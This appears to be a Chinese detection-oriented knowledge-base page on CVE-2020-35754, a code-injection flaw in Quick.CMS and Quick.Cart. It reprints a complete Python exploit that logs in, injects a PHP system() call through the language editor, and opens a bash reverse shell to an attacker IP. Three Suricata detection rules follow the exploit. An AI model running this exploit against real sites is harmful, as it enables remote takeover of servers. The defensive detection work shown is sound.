跳转至

T1190-CVE-2020-35754-QuickCms访问控制错误漏洞

来自ATT&CK的描述

使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。

如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

测试案例

Opensolution Quick.Cart和Opensolution Quick.Cms都是波兰Opensolution公司的产品。Opensolution Quick.Cart是一款用于构建购物车平台的建站系统。Opensolution Quick.Cms是一款用于构建文本管理平台的建站系统。 OpenSolution Quick.CMS ＜ 6.7 and Quick.Cart ＜ 6.7 存在注入漏洞，该漏洞允许经过身份验证的用户通过Language选项卡的输入字段执行代码注入。

检测日志

HTTP

测试复现

POC&&EXP

# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)
# Date: 2020-12-28
# Exploit Author: mari0x00
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip
# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/
# Version: <= 6.7
# CVE : CVE-2020-35754

#!/usr/bin/python3

import requests
import sys
from termcolor import colored
from time import sleep

print(colored('''###########################################################''',"red"))
print(colored('''######    Quick.CMS authenticated RCE by mari0x00   #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")

if len(sys.argv) != 6:
    print((colored("[~] Usage : python3 quickpwn.py <url> <username> <password> <IP> <PORT>","red")))
    print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ [email protected] pass123 192.168.101.101 4444","red")))
    exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]


#Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}


#Authenticate
print((colored("[+] Attempting user login","blue")))

login_data = {
    "sEmail": username,
    "sPass": password,
    "bAcceptLicense": "1",
    "iAcceptLicense": "true"
   }

login = s.post(url+"admin.php?p=login", login_data, headers=headers)
sleep(0.5)


#Exploit
print((colored("[+] Adding shell command","blue")))
payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"

shell = {
    "sOption": "save",
    "Back_end_only": payload
}

exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)
sleep(1)

#Triggering reverse shell (three times just in case)
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)

检测规则/思路

Suricata规则

alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-1";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"bAcceptLicense=1&iAcceptLicense=true";http_client_body;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)

alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-2";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"Back_end_only=";http_client_body;flowbits:isset,first_req;noalert;flowbits:set,second-req;classtype:web-application-attck;sid:2;rev:1;)

alert http any any -> any any (msg:"CVE-2020-35754-QuickCms访问控制错误漏洞";flow:established,to_server;content:"GET";http_method;content:"/quickcmsadmin.php?p=languages";http_uri;flowbits:isset,second-req;reference:url,www.anquanke.com/vul/id/2332309;classtype:web-application-attck;sid:3;rev:1;)

建议

流量+安全设备比较容易检测到此攻击行为。

参考推荐

MITRE-ATT&CK-T1190

https://attack.mitre.org/techniques/T1190/

Opensolution Quick.Cart和Opensolution Quick.Cms访问控制错误漏洞

https://www.anquanke.com/vul/id/2332309